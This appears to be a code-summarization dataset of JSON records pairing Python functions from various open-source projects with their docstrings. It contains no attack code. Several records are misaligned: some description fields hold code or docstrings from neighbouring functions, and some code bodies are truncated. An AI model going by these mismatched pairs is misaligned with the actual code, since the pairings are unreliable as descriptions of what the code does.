NotImplementedError\n", "nl": "Return the compiler option to add 'dir' to the list of librarieslinked into the shared library or executable."} {"code": "def diff_cleanupSemanticScore(one, two):\n if not one or not two:\n return 6\n", "nl": "Given two strings, compute a score representing whether theinternal boundary falls on logical boundaries.Scores range from 6 (best) to 0 (worst).Closure, but does not reference any external variables.Args:one: First string.two: Second string.Returns:The score."} {"code": "def handle_policy(self):\n\n if self.env.get(\"self_service_icon\") and self.policy is not None:\n self.output(\n \"Looking for Icon file {}...\".format(self.env[\"self_service_icon\"]),\n verbose_level=2,\n )\n icon_path = self.find_file_in_search_path(self.env[\"self_service_icon\"])\n icon_filename = os.path.basename(icon_path)\n\n policy_filename = self.policy.findtext(\n \"self_service/self_service_icon/filename\"\n )\n if not policy_filename == icon_filename:\n self.output(\n \"Icon name in existing policy: {}\".format(policy_filename),\n verbose_level=2,\n )\n icon = jss.FileUpload(\n self.jss, \"policies\", \"id\", self.policy.id, icon_path\n )\n icon.save()\n self.env[\"jss_changed_objects\"][\"jss_icon_uploaded\"].append(\n icon_filename\n )\n self.output(\"Icon uploaded to the Jamf Pro server.\")\n else:\n self.output(\"Icon matches existing icon, moving on...\")\n", "nl": "Create or update a policy.if self.env.get(\"policy_template\"):template_filename = self.env.get(\"policy_template\")policy = self.update_or_create_new(jss.Policy,template_filename,update_env=\"jss_policy_updated\",added_env=\"jss_policy_added\",)self.output(\"Policy object: {}\".format(policy.id),verbose_level=3,)else:self.output(\"Policy creation not desired, moving on...\")policy = Nonereturn policydef handle_icon(self):Add self service icon if needed."} {"code": "def fields(class_or_instance):\n\n try:\n fields = getattr(class_or_instance, _FIELDS)\n except AttributeError:\n raise TypeError('must be called with a dataclass type or instance')\n", "nl": "Return a tuple describing the fields of this dataclass.Accepts a dataclass or an instance of one. Tuple elements are oftype Field."} {"code": "def mapper(self):\n return self.property.mapper\n\n @util.memoized_property", "nl": "The target :class:`_orm.Mapper` referred to by this:class:`.RelationshipProperty.Comparator`.This is the \"target\" or \"remote\" side of the:func:`_orm.relationship`."} {"code": "def test_hasHeaderTrue(self):\n h = Headers()\n h.setRawHeaders(b\"test\", [b\"lemur\"])\n self.assertTrue(h.hasHeader(b\"test\"))\n self.assertTrue(h.hasHeader(b\"Test\"))\n\n", "nl": "Check that L{Headers.hasHeader} returns C{True} when the given headeris found."} {"code": "def range_tombstones_compaction_test(self):\n CREATE TABLE test1 (\n k int,\n c1 int,\n c2 int,\n v1 text,\n PRIMARY KEY (k, c1, c2)\n );\n \"\"\")", "nl": " Test deletion by 'composite prefix' (range tombstones) with compaction cursor = self.prepare()cursor.execute("} {"code": "def host_remove_labels(id, labels):\n labels = models.Label.smart_get_bulk(labels)\n models.Host.smart_get(id).labels.remove(*labels)\n\n", "nl": "Remove labels from host.:param id: Host Identification.:param labels: Sequence of labels.:return: None."} {"code": "def find_included_files(file_path):\n comment_pattern = re.compile('/\\*([^*]|[\\r\\n]|(\\*+([^*/]|[\\r\\n])))*\\*+/')\n include_pattern = re.compile(r'include (?P[\\w\\./]+)')\n search_dirs = get_sim_path()\n all_paths = []\n", "nl": "Find all files that are included, whether directly or indirectly, by a given.g file."} {"code": "def prune(self, dir):\n Include all files anywhere in the current directory that match the\n pattern. This is very inefficient on large file trees.\n \"\"\"", "nl": "Filter out files from 'dir/'.match = translate_pattern(os.path.join(dir, '**'))return self._remove_files(match.match)def global_include(self, pattern):"} {"code": "def arr_intersect(ar1, ar2):\n number of documents per vocabulary word. This routine makes use of scipy sparse matrix\n formats, but to be numba compilable it must make use of internal arrays thereof.\n\n Parameters\n ----------\n topics: array of shape (n_topics, n_words)\n The topic vectors for scoring\n\n z: int\n Which topic vector to score.\n\n n: int\n The number of topic words to score against. The top ``n`` words from the ``z``th topic\n will be used.\n\n indices: array of shape (nnz,)\n The indices array of a CSC format sparse matrix representation of the corpus data.\n\n indptr: array of shape(n_words - 1,)\n The indptr array of a CSC format sparse matrix representation of the corpus data.\n\n n_docs_per_word: array of shape (n_words,)\n The total number of documents for each vocabulary word (the column sum of the corpus data).\n\n\n Returns\n -------\n topic_coherence: float\n The coherence score of the ``z``th topic.\n \"\"\"", "nl": "Numba compilable equivalent of numpy's intersect1daux = np.concatenate((ar1, ar2))aux.sort()return aux[:-1][aux[1:] == aux[:-1]]@numba.njit()def _coherence(topics, z, n, indices, indptr, n_docs_per_word):Internal routine for computing the coherence of a given topic given raw data and the"} {"code": "def query(self, q, k):\n dk = k.shape[2]\n q = q.permute(0, 2, 3, 1)\n k = k.permute(0, 3, 4, 1, 2)\n q.unsqueeze_(-1)\n alpha = torch.matmul(k, q) / math.sqrt(dk)\n alpha = torch.softmax(alpha, dim=-2)\n alpha = alpha.permute(0, 3, 4, 1, 2)\n\n return alpha\n\n\nclass LWB(nn.Module):", "nl": "Args:q (torch.tensor): (N, C, H, W)k (torch.tensor): (N, ns, C, H, W)Returns:alpha (torch.tensor): (N, ns, 1, H, W)"} {"code": "def run_normal(self):\n LOG.debug(\"ThRecvCheck %s: run\", self.getName())\n _err_msg_missing_migrate_ev = (\"ThRecvCheck %s: Broken pipe. If \"\n \"this is expected behavior set migrate_event to \"\n \"support reconnection.\" % self.getName())\n _err_msg_exception = ('ThRecvCheck ' + str(self.getName()) + ': Got '\n 'exception %s, continuing')\n _err_msg_disconnect = ('ThRecvCheck ' + str(self.getName()) + ': Port '\n 'disconnected, waiting for new port.')\n _err_msg_reconnect = ('ThRecvCheck ' + str(self.getName()) + ': Port '\n 'reconnected, continuing.')\n attempt = 10\n while not self.exitevent.isSet():\n try:\n ret = select.select([self.port.sock], [], [], 1.0)\n except Exception as inst:\n if self.port.sock is None:\n LOG.debug(_err_msg_disconnect)\n while self.port.sock is None:\n if self.exitevent.isSet():\n break\n time.sleep(0.1)\n LOG.debug(_err_msg_reconnect)\n else:\n LOG.debug(_err_msg_exception, inst)\n continue\n if ret[0] and (not self.exitevent.isSet()):\n try:\n buf = self.port.sock.recv(self.blocklen)\n except Exception as inst:\n if self.port.sock is None:\n LOG.debug(_err_msg_disconnect)\n while self.port.sock is None:\n if self.exitevent.isSet():\n break\n time.sleep(0.1)\n LOG.debug(_err_msg_reconnect)\n else:\n LOG.debug(_err_msg_exception, inst)\n continue\n if buf:\n for char in bytearray(buf):\n char = struct.pack('B', char)\n _char = self.buff.popleft()\n if char == _char:\n self.idx += 1\n else:\n while char != _char:\n if self.sendidx > 0:\n self.sendidx -= 1\n _char = self.buff.popleft()\n else:\n self.exitevent.set()\n LOG.error(\"ThRecvCheck %s: \"\n \"Failed to recv %dth \"\n \"character\",\n self.getName(), self.idx)\n LOG.error(\"ThRecvCheck %s: \"\n \"%s != %s\",\n self.getName(),\n repr(char), repr(_char))\n LOG.error(\"ThRecvCheck %s: \"\n \"Recv = %s\",\n self.getName(), repr(buf))\n time.sleep(1)\n _char = b\"\"\n for buf in self.buff:\n _char += buf\n _char += b' '\n LOG.error(\"ThRecvCheck %s: \"\n \"Queue = %s\",\n self.getName(), repr(_char))\n LOG.info(\"ThRecvCheck %s: \"\n \"MaxSendIDX = %d\",\n self.getName(),\n (self.sendlen - self.sendidx))\n raise exceptions.TestFail(\"ThRecvCheck %s: \"\n \"incorrect data\" %\n self.getName())\n attempt = 10\n else:\n if attempt > 0:\n attempt -= 1\n if self.migrate_event is None:\n self.exitevent.set()\n raise exceptions.TestFail(\n _err_msg_missing_migrate_ev)\n LOG.debug(\"ThRecvCheck %s: Broken pipe \"\n \", reconnecting. \", self.getName())\n self.reload_loss_idx()\n while not (self.exitevent.isSet() or\n self.migrate_event.wait(1)):\n pass\n if self.exitevent.isSet():\n break\n LOG.debug(\"ThRecvCheck %s: Broken pipe resumed, \"\n \"reconnecting...\", self.getName())\n\n self.port.sock = False\n self.port.open()\n if self.sendidx >= 0:\n self.minsendidx = min(self.minsendidx, self.sendidx)\n if (self.sendlen - self.minsendidx):\n LOG.error(\"ThRecvCheck %s: Data loss occurred during socket\"\n \"reconnection. Maximal loss was %d per one \"\n \"migration.\", self.getName(),\n (self.sendlen - self.minsendidx))\n LOG.debug(\"ThRecvCheck %s: exit(%d)\", self.getName(), self.idx)\n self.ret_code = 0\n", "nl": "Receives data and verifies, whether they match the self.buff (queue).It allow data loss up to self.sendidx which can be manually loadedafter host socket reconnection or you can overwrite this value fromother thread."} {"code": "def run(self, session):\n\n for command in self.__commands():\n command = self.__do_substitutions(command)\n command = session.precmd(command)\n stop = session.onecmd(command)\n stop = session.postcmd(stop, command)\n", "nl": "Run the commands, extracted from the source file."} {"code": "def get_metadata(self) -> \"Metadata\":\n url identifies the playlist uniquely in the database and on the internet (if applicable).\"\"\"", "nl": "Return the combined Metadata object of this song.return {\"artist\": self.artist,\"title\": self.title,\"duration\": self.duration,\"external_url\": self.url,\"cached\": self.cached,}class Meta:indexes = ([GinIndex(OpClass(\"artist\", \"gin_trgm_ops\"),name=\"core_archivedsong_artist_trgm\",),GinIndex(OpClass(\"title\", \"gin_trgm_ops\"),name=\"core_archivedsong_title_trgm\",),]if connection.vendor == \"postgresql\"else [])class ArchivedPlaylist(models.Model):Stores an archived playlist."} {"code": "def _convert_datetime_to_mstime(dt):\n rest = (dt._ns % 10**3) >= 500 and 1 or 0\n return dt._ns // 10**3 + rest\n\n", "nl": "Takes a obspy.util.UTCDateTime object and returns an epoch time in ms.:param dt: obspy.util.UTCDateTime object."} {"code": "def actions(self):\n return self._separated_constructs(RuleAction)\n", "nl": "Returns a list of all this rule's conditions."} {"code": "def login(self):\n access_token = self._get_access_token()\n try:\n super(IAMSession, self).request(\n 'POST',\n self._session_url,\n headers={'Content-Type': 'application/json'},\n data=json.dumps({'access_token': access_token})\n ).raise_for_status()\n\n except RequestException:\n raise CloudantException(\n 'Failed to exchange IAM token with Cloudant')\n", "nl": "Perform IAM cookie based user login."} {"code": "def axisinfo(unit, axis):\n tz = unit\n\n majloc = PandasAutoDateLocator(tz=tz)\n majfmt = PandasAutoDateFormatter(majloc, tz=tz)\n datemin = pydt.date(2000, 1, 1)\n datemax = pydt.date(2010, 1, 1)\n\n return units.AxisInfo(majloc=majloc, majfmt=majfmt, label='',", "nl": "Return the :class:`~matplotlib.units.AxisInfo` for *unit*.*unit* is a tzinfo instance or None.The *axis* argument is required but not used."} {"code": "def generate_word_document(self, anonymous_walks, outfile_docword, outfile_vocab):\n anonymous_dict = dict()\n idx = 0\n anonymous_walks_idx = [[] for _ in range(self.G.number_of_nodes())]\n\n out_vocal = open(outfile_vocab, \"w\")\n\n for i in range(self.G.number_of_nodes()):\n for w in anonymous_walks[i]:\n w = [str(_) for _ in w]\n w = \" \".join(w)\n\n if w in anonymous_dict:\n anonymous_walks_idx[i].append(anonymous_dict[w])\n else:\n anonymous_dict[w] = str(idx)\n idx += 1\n out_vocal.write(w + \"\\n\")\n anonymous_walks_idx[i].append(anonymous_dict[w])\n\n\n anonymous_walks_cnt = [[] for _ in range(self.G.number_of_nodes())]\n for i in range(self.G.number_of_nodes()):\n cnt = dict()\n for w in anonymous_walks_idx[i]:\n if w not in cnt:\n cnt[w] = anonymous_walks_idx[i].count(w)\n anonymous_walks_cnt[i] = cnt\n\n\n out = open(outfile_docword, \"w\")\n out.write(str(self.G.number_of_nodes()) + \"\\n\")\n out.write(str(len(anonymous_dict)) + \"\\n\")\n\n for i in range(self.G.number_of_nodes()):\n cnt = anonymous_walks_cnt[i]\n for word in cnt.keys():\n out.write(str(i) + \" \" + word + \" \" + str(cnt[word]) + \"\\n\")\n\n out.close()\n", "nl": "generate word-document, for the input of LDA"} {"code": "def __iter__():\n", "nl": "Return an iterator for the keys of the mapping object."} {"code": "def proxy_info_from_environment(method=\"http\"):\n if method not in [\"http\", \"https\"]:\n return\n\n env_var = method + \"_proxy\"\n url = os.environ.get(env_var, os.environ.get(env_var.upper()))\n if not url:\n return\n return proxy_info_from_url(url, method, None)\n\n", "nl": "Read proxy info from the environment variables."} {"code": "def get_primary_keys(self, table_name, schema=None, **kw):\n\n return self.dialect.get_pk_constraint(self.bind, table_name, schema,\n info_cache=self.info_cache,\n **kw)['constrained_columns']\n", "nl": "Return information about primary keys in `table_name`.Given a string `table_name`, and an optional string `schema`, returnprimary key information as a list of column names."} {"code": "def export(self):\n\n raise NotImplementedError()\n\n", "nl": "Method to export the results in portable formats reusable outside thislibrary"} {"code": "def _is_control(char):\n cp = ord(char)\n if ((cp >= 33 and cp <= 47) or (cp >= 58 and cp <= 64) or\n (cp >= 91 and cp <= 96) or (cp >= 123 and cp <= 126)):\n return True\n cat = unicodedata.category(char)\n if cat.startswith(\"P\"):\n return True\n return False", "nl": "Checks whether `chars` is a control character.# These are technically control characters but we count them as whitespace# characters.if char == \"\\t\" or char == \"\\n\" or char == \"\\r\":return Falsecat = unicodedata.category(char)if cat.startswith(\"C\"):return Truereturn Falsedef _is_punctuation(char):Checks whether `chars` is a punctuation character."} {"code": "def forward(self, encoder_input_ids, decoder_input_ids, **kwargs):\n kwargs_encoder, kwargs_decoder = self.prepare_model_kwargs(**kwargs)\n\n encoder_hidden_states = kwargs_encoder.pop(\"hidden_states\", None)\n if encoder_hidden_states is None:\n encoder_outputs = self.encoder(encoder_input_ids, **kwargs_encoder)\n encoder_hidden_states = encoder_outputs[0]\n else:\n encoder_outputs = ()\n\n kwargs_decoder[\"encoder_hidden_states\"] = encoder_hidden_states\n decoder_outputs = self.decoder(decoder_input_ids, encoder_hidden_states, **kwargs_decoder)\n\n return decoder_outputs + encoder_outputs\n\n @staticmethod", "nl": " The forward pass on a seq2eq depends what we are performing:- During training we perform one forward pass through both the encoderand decoder;- During prediction, we perform one forward pass through the encoder,and then perform several forward passes with the encoder's hiddenstate through the decoder to decode a full sequence.Therefore, we skip the forward pass on the encoder if an argument named`encoder_hidden_state` is passed to this function.Params:encoder_input_ids: ``torch.LongTensor`` of shape ``(batch_size, sequence_length)``Indices of encoder input sequence tokens in the vocabulary.decoder_input_ids: ``torch.LongTensor`` of shape ``(batch_size, sequence_length)``Indices of decoder input sequence tokens in the vocabulary.kwargs: (`optional`) Remaining dictionary of keyword arguments."} {"code": "def check_service(self, info, allow_name_change):\n\n service_name = service_type_name(info.name)\n if not info.type.endswith(service_name):\n raise BadTypeInNameException\n\n instance_name = info.name[:-len(service_name) - 1]\n next_instance_number = 2\n\n now = current_time_millis()\n next_time = now\n i = 0\n while i < 3:\n while self.cache.current_entry_with_name_and_alias(\n info.type, info.name):\n if not allow_name_change:\n raise NonUniqueNameException\n\n info.name = '%s-%s.%s' % (\n instance_name, next_instance_number, info.type)\n next_instance_number += 1\n service_type_name(info.name)\n next_time = now\n i = 0\n\n if now < next_time:\n self.wait(next_time - now)\n now = current_time_millis()\n continue\n\n out = DNSOutgoing(_FLAGS_QR_QUERY | _FLAGS_AA)\n self.debug = out\n out.add_question(DNSQuestion(info.type, _TYPE_PTR, _CLASS_IN))\n out.add_authorative_answer(DNSPointer(\n info.type, _TYPE_PTR, _CLASS_IN, _DNS_TTL, info.name))\n self.send(out)\n i += 1\n next_time += _CHECK_TIME\n", "nl": "Checks the network for a unique service name, modifying theServiceInfo passed in if it is not unique."} {"code": "def find_free_address():\n err = None\n for info in socket.getaddrinfo(None, 0, socket.AF_UNSPEC,\n socket.SOCK_STREAM):\n family, stype, proto, _, addr = info\n sock = None\n try:\n sock = socket.socket(family, stype, proto)\n sock.bind(addr)\n if family == socket.AF_INET:\n return \"{}:{}\".format(*sock.getsockname())\n elif family == socket.AF_INET6:\n return \"[{}]:{}\".format(*sock.getsockname()[:2])\n except socket.error as e:\n err = e\n finally:\n if sock is not None:\n sock.close()\n if err is not None:\n raise err\n else:\n raise socket.error(\"getaddrinfo returns an empty list\")\n\n\nclass TestsCommandLine(unittest.TestCase):", "nl": "Bind to None, 0 to find an unused port on localhost (IPv4 or IPv6):return:"} {"code": "def get_z(beam):\n return beam.s\n\n", "nl": "Used for retrieving data for x-, y- or c-axis of a plot.return beam.zdef get_s(beam):Used for retrieving data for x-, y- or c-axis of a plot."} {"code": "def query_region_count(self, coordinates, *, radius=0.2*u.deg, pagesize=None, page=None):\n\n coordinates = commons.parse_coordinates(coordinates)\n\n radius = coord.Angle(radius, u.deg)\n\n position = ', '.join([str(x) for x in (coordinates.ra.deg, coordinates.dec.deg, radius.deg)])\n\n service = self._caom_filtered_position\n params = {\"columns\": \"COUNT_BIG(*)\",\n \"filters\": [],\n \"position\": position}\n\n return int(self._portal_api_connection.service_request(service, params, pagesize, page)[0][0])\n", "nl": "Given a sky position and radius, returns the number of MAST observations in that region.Parameters----------coordinates : str or `~astropy.coordinates` objectThe target around which to search. It may be specified as astring or as the appropriate `~astropy.coordinates` object.radius : str or `~astropy.units.Quantity` object, optionalThe string must be parsable by `~astropy.coordinates.Angle`. Theappropriate `~astropy.units.Quantity` object from`~astropy.units` may also be used. Defaults to 0.2 deg.pagesize : int, optionalCan be used to override the default pagesize for.E.g. when using a slow internet connection.page : int, optionalCan be used to override the default behavior of all results being returned toobtain a specific page of results.Returns-------response : int"} {"code": "def get_all_usergroups(self, service=None):\n url = \"{}/rest/security/usergroup/\".format(self.service_url)\n if service is None:\n url += \"groups/\"\n else:\n url += \"service/{}/groups/\".format(service)\n\n try:\n r = requests.get(url, auth=(self.username, self.password))\n\n if r.status_code == 200:\n return parse(r.content)\n else:\n raise Exception(\"The groups could not be fetched\")\n\n except Exception as e:\n return \"Error: {}\".format(e)\n", "nl": "Parameters----------service : str, optionalQueries all the groups in the given user/group serviceIf no user/group service is provided, default user/group service is used"} {"code": "def docclass(self, object, name=None, mod=None, *ignored):\n return '=' + self.repr(object)\n", "nl": "Produce text documentation for a given class object.realname = object.__name__name = name or realnamebases = object.__bases__def makename(c, m=object.__module__):return classname(c, m)if name == realname:title = 'class ' + self.bold(realname)else:title = self.bold(name) + ' = class ' + realnameif bases:parents = map(makename, bases)title = title + '(%s)' % join(parents, ', ')doc = getdoc(object)contents = doc and [doc + '\\n'] or []push = contents.append# List the mro, if non-trivial.mro = deque(inspect.getmro(object))if len(mro) > 2:push(\"Method resolution order:\")for base in mro:push(' ' + makename(base))push('')# Cute little class to pump out a horizontal rule between sections.class HorizontalRule:def __init__(self):self.needone = 0def maybe(self):if self.needone:push('-' * 70)self.needone = 1hr = HorizontalRule()def spill(msg, attrs, predicate):ok, attrs = _split_list(attrs, predicate)if ok:hr.maybe()push(msg)for name, kind, homecls, value in ok:try:value = getattr(object, name)except Exception:# Some descriptors may meet a failure in their __get__.# (bug #1785)push(self._docdescriptor(name, value, mod))else:push(self.document(value,name, mod, object))return attrsdef spilldescriptors(msg, attrs, predicate):ok, attrs = _split_list(attrs, predicate)if ok:hr.maybe()push(msg)for name, kind, homecls, value in ok:push(self._docdescriptor(name, value, mod))return attrsdef spilldata(msg, attrs, predicate):ok, attrs = _split_list(attrs, predicate)if ok:hr.maybe()push(msg)for name, kind, homecls, value in ok:if (hasattr(value, '__call__') orinspect.isdatadescriptor(value)):doc = getdoc(value)else:doc = Nonepush(self.docother(getattr(object, name),name, mod, maxlen=70, doc=doc) + '\\n')return attrsattrs = filter(lambda data: visiblename(data[0], obj=object),classify_class_attrs(object))while attrs:if mro:thisclass = mro.popleft()else:thisclass = attrs[0][2]attrs, inherited = _split_list(attrs, lambda t: t[2] is thisclass)if thisclass is __builtin__.object:attrs = inheritedcontinueelif thisclass is object:tag = \"defined here\"else:tag = \"inherited from %s\" % classname(thisclass,object.__module__)# Sort attrs by name.attrs.sort()# Pump out the attrs, segregated by kind.attrs = spill(\"Methods %s:\\n\" % tag, attrs,lambda t: t[1] == 'method')attrs = spill(\"Class methods %s:\\n\" % tag, attrs,lambda t: t[1] == 'class method')attrs = spill(\"Static methods %s:\\n\" % tag, attrs,lambda t: t[1] == 'static method')attrs = spilldescriptors(\"Data descriptors %s:\\n\" % tag, attrs,lambda t: t[1] == 'data descriptor')attrs = spilldata(\"Data and other attributes %s:\\n\" % tag, attrs,lambda t: t[1] == 'data')assert attrs == []attrs = inheritedcontents = '\\n'.join(contents)if not contents:return title + '\\n'return title + '\\n' + self.indent(rstrip(contents), ' | ') + '\\n'def formatvalue(self, object):Format an argument default value as text."} {"code": "def sim(self, src: str, tar: str) -> float:\n return (1.0 + self.corr(src, tar)) / 2.0\n\n\nif __name__ == '__main__':\n import doctest\n\n doctest.testmod()", "nl": "Return the Unknown A similarity of two strings.Parameters----------src : strSource string (or QGrams/Counter objects) for comparisontar : strTarget string (or QGrams/Counter objects) for comparisonReturns-------floatUnknown A similarityExamples-------->>> cmp = UnknownA()>>> cmp.sim('cat', 'hat')0.7487179487179487>>> cmp.sim('Niall', 'Neil')0.6974326059050064>>> cmp.sim('aluminum', 'Catalan')0.5573519948519948>>> cmp.sim('ATCG', 'TAGC')0.496790757381258.. versionadded:: 0.4.0"} {"code": "def setMinGpuMemory(self, minGpuMemory):\n self.data.min_gpu_memory = minGpuMemory\n", "nl": "Sets the minimum gpu memory of the service.:type: int:param: new min gpu memory"} {"code": "def _calcSpanRects(self):\n spanRects = getattr(self,'_spanRects',{})\n hmax = getattr(self,'_hmax',None)\n longTable = self._longTableOptimize\n if spanRects and (longTable and hmax==self._hmax_spanRects or not longTable):\n return\n colpositions = self._colpositions\n rowpositions = self._rowpositions\n vBlocks = {}\n hBlocks = {}\n rlim = len(rowpositions)-1\n for (coord, value) in self._spanRanges.items():\n if value is None:\n spanRects[coord] = None\n else:\n col0, row0, col1, row1 = value\n if row1>=rlim: continue\n col,row = coord\n if col1-col0>0:\n for _ in range(col0+1,col1+1):", "nl": "Work out rects for tables which do row and column spanning.Based on self._spanRanges, which is already known,and the widths which were given or previously calculated,self._spanRects shows the real coords for drawing:(col, row) -> (x, y, width, height)for each cell. Any cell which 'does not exist' as anotherhas spanned over it will get a None entry on the right"} {"code": "def getInnerText(node):\n inner_text = []\n for child in node.childNodes:\n if child.nodeType == child.TEXT_NODE or child.nodeType == child.CDATA_SECTION_NODE:\n inner_text.append(child.data)\n elif child.nodeType == child.ELEMENT_NODE:\n inner_text.extend(getInnerText(child))\n else:\n pass\n return u\"\".join(inner_text)\n", "nl": "Get all the inner text of a DOM node (recursively)."} {"code": "def validate_config(config, required_keys, optional_keys=None):\n if optional_keys is None:\n optional_keys = []\n if not isinstance(config, dict):\n raise Exception('config is not dict type')\n invalid_keys = set(config) - set(required_keys + optional_keys)\n if len(invalid_keys) > 0:\n raise Exception('Invalid config with unexpected keys '\n '\"%s\"' % ', '.join(e for e in invalid_keys))\n missing_keys = set(required_keys) - set(config)\n if len(missing_keys) > 0:\n raise Exception('Invalid config with missing keys \"%s\"' % ', '.join(missing_keys))\n\n", "nl": " Validate a config dictionary to make sure it includes all required keysand does not include any unexpected keys.Args:config: the config to validate.required_keys: the names of the keys that the config must have.optional_keys: the names of the keys that the config can have.Raises:Exception if the config is not a dict or invalid."} {"code": "def interval64_pack(m_d_timetup, qll_pack = qll_pack, mktime64 = mktime64):\n\t(month, day, timetup) = m_d_timetup\n\treturn qll_pack((mktime64(timetup), day, month))\n", "nl": "Given a triple, (month, day, (seconds, microseconds)), return the serializeddata using a quad-word for the (seconds, microseconds) tuple."} {"code": "def mod_log(self) -> ModLog:\n await self.bot.wait_until_guild_available()\n if self.validation_errors:\n body = \"**The following errors were encountered:**\\n\"\n body += \"\\n\".join(f\"- {error}\" for error in self.validation_errors.values())\n body += \"\\n\\n**The cog has been unloaded.**\"\n\n await self.mod_log.send_log_message(\n title=\"Error: AntiSpam configuration validation failed!\",\n text=body,\n ping_everyone=True,\n icon_url=Icons.token_removed,\n colour=Colour.red()\n )\n\n self.bot.remove_cog(self.__class__.__name__)\n return\n\n @Cog.listener()", "nl": "Allows for easy access of the ModLog cog.return self.bot.get_cog(\"ModLog\")async def cog_load(self) -> None:Unloads the cog and alerts admins if configuration validation failed."} {"code": "def wait_for_property(self, name, cond=lambda val: val, level_sensitive=True):\n with self.prepare_and_wait_for_property(name, cond, level_sensitive):\n pass\n", "nl": "Waits until ``cond`` evaluates to a truthy value on the named property. This can be used to wait forproperties such as ``idle_active`` indicating the player is done with regular playback and just idling around.Raises a ShutdownError when the core is shutdown while waiting."} {"code": "def __call__(self, test: T) -> T:", "nl": "Make the settings object (self) an attribute of the test.The settings are later discovered by looking them up on the test itself."} {"code": "def test_basic_analyzer_for_bad_instrumentation(self):\n self.assert_basic_analyzer(self.analyzer.analyzer_coverage,\n 'coverage_issue.txt')\n", "nl": "Test analyzer_bad_instrumentation BasicAnalyzer.self.assert_basic_analyzer(self.analyzer.analyzer_bad_instrumentation,'bad_instrumentation_issue.txt')def test_basic_analyzer_for_coverage(self):Test analyzer_coverage BasicAnalyzer."} {"code": "def __getattr__( self, aname ):\n if( aname == \"lineno\" ):\n return lineno( self.loc, self.pstr )\n elif( aname in (\"col\", \"column\") ):\n return col( self.loc, self.pstr )\n elif( aname == \"line\" ):\n return line( self.loc, self.pstr )\n else:\n raise AttributeError(aname)\n", "nl": "supported attributes by name are:- lineno - returns the line number of the exception text- col - returns the column number of the exception text- line - returns the line containing the exception text"} {"code": "def list_corpora():\n config = ConfigParser.RawConfigParser()\n config.read('file_locations.cfg')\n return config.sections()\n\n", "nl": " List the available corpora names.These are read from file_locations.cfg. More corpus names can be added byediting this file."} {"code": "def _expand_in_parameters(self, compiled, processors):\n if self.executemany:\n raise exc.InvalidRequestError(\n \"'expanding' parameters can't be used with \" \"executemany()\"\n )\n\n if self.compiled.positional and self.compiled._numeric_binds:\n raise NotImplementedError(\n \"'expanding' bind parameters not supported with \"\n \"'numeric' paramstyle at this time.\"\n )\n\n self._expanded_parameters = {}\n\n compiled_params = self.compiled_parameters[0]\n if compiled.positional:\n positiontup = []\n else:\n positiontup = None\n\n replacement_expressions = {}\n to_update_sets = {}\n\n for name in (\n self.compiled.positiontup\n if compiled.positional\n else self.compiled.binds\n ):\n parameter = self.compiled.binds[name]\n if parameter.expanding:\n\n if name in replacement_expressions:\n to_update = to_update_sets[name]\n else:\n values = compiled_params.pop(name)\n\n if not values:\n to_update = to_update_sets[name] = []\n replacement_expressions[\n name\n ] = self.compiled.visit_empty_set_expr(\n parameter._expanding_in_types\n if parameter._expanding_in_types\n else [parameter.type]\n )\n\n elif isinstance(values[0], (tuple, list)):\n to_update = to_update_sets[name] = [\n (\"%s_%s_%s\" % (name, i, j), value)\n for i, tuple_element in enumerate(values, 1)\n for j, value in enumerate(tuple_element, 1)\n ]\n replacement_expressions[name] = (\n \"VALUES \" if self.dialect.tuple_in_values else \"\"\n ) + \", \".join(\n \"(%s)\"\n % \", \".join(\n self.compiled.bindtemplate\n % {\n \"name\": to_update[\n i * len(tuple_element) + j\n ][0]\n }\n for j, value in enumerate(tuple_element)\n )\n for i, tuple_element in enumerate(values)\n )\n else:\n to_update = to_update_sets[name] = [\n (\"%s_%s\" % (name, i), value)\n for i, value in enumerate(values, 1)\n ]\n replacement_expressions[name] = \", \".join(\n self.compiled.bindtemplate % {\"name\": key}\n for key, value in to_update\n )\n\n compiled_params.update(to_update)\n processors.update(\n (key, processors[name])\n for key, value in to_update\n if name in processors\n )\n if compiled.positional:\n positiontup.extend(name for name, value in to_update)\n self._expanded_parameters[name] = [\n expand_key for expand_key, value in to_update\n ]\n elif compiled.positional:\n positiontup.append(name)\n", "nl": "handle special 'expanding' parameters, IN tuples that are renderedon a per-parameter basis for an otherwise fixed SQL statement string."} {"code": "def mod_add(self, other, m):\n try:\n r = Bn()\n local_ctx = get_ctx()\n err = _C.BN_mod_add(r.bn, self.bn, other.bn, m.bn, local_ctx.bnctx)\n if __debug__:\n _check(err)\n\n return r\n except AttributeError:\n return self.mod_add(Bn.from_num(other), Bn.from_num(m))\n", "nl": "mod_add(other, m)Returns the sum of self and other modulo m.Example:>>> Bn(10).mod_add(Bn(2), Bn(11)) # Only function notation available1"} {"code": "def testWhiteboardPatternUpdate(self):\n http_svc = instantiate_server(self.ipopo)\n\n servlet_name = \"test-whiteboard-simple\"\n servlet = self.ipopo.instantiate(self.servlets.SIMPLE_SERVLET_FACTORY,\n servlet_name,\n {http.HTTP_SERVLET_PATH: \"/test\",\n \"raiser\": False})\n\n self.assertEqual([\"/test\"], servlet.bound, \"bound_to not called\")\n self.assertEqual([], servlet.unbound, \"unbound_from called\")\n servlet.reset()\n\n self.assertIs(http_svc.get_servlet(\"/test\")[0], servlet,\n \"get_servlet() didn't return the servlet\")\n\n self.assertEqual(get_http_page(uri=\"/test\", method=\"GET\",\n only_code=True), 200,\n \"Servlet not registered ?\")\n self.assertEqual(get_http_page(uri=\"/test-updated\", method=\"GET\",\n only_code=True), 404,\n \"Unwanted success\")\n\n servlet.change('/test-updated')\n\n self.assertEqual([\"/test-updated\"], servlet.bound,\n \"bound_to not called\")\n self.assertEqual([\"/test\"], servlet.unbound, \"unbound_from not called\")\n servlet.reset()\n\n self.assertIs(http_svc.get_servlet(\"/test-updated\")[0], servlet,\n \"get_servlet() didn't return the servlet\")\n\n self.assertEqual(get_http_page(uri=\"/test-updated\", method=\"GET\",\n only_code=True), 200,\n \"Servlet not registered ?\")\n self.assertEqual(get_http_page(uri=\"/test\", method=\"GET\",\n only_code=True), 404,\n \"Unwanted answer after update\")\n\n self.ipopo.kill(servlet_name)\n\n self.assertEqual([\"/test-updated\"], servlet.unbound,\n \"unbound_from not called\")\n self.assertEqual([], servlet.bound, \"bound_to called\")\n servlet.reset()\n\n self.assertEqual(get_http_page(uri=\"/test-updated\", method=\"GET\",\n only_code=True), 404,\n \"Servlet still registered\")\n\n\n\nclass BasicHTTPServiceMethodsTest(unittest.TestCase):\n \"\"\"", "nl": "Tests the whiteboard pattern with a simple path, which path propertyis updated"} {"code": "def allocate(self, key):\n entry = self.lookup(key)\n if entry:\n return entry\n\n if not self.pool:\n self.pool.update(self.remembered.values())\n 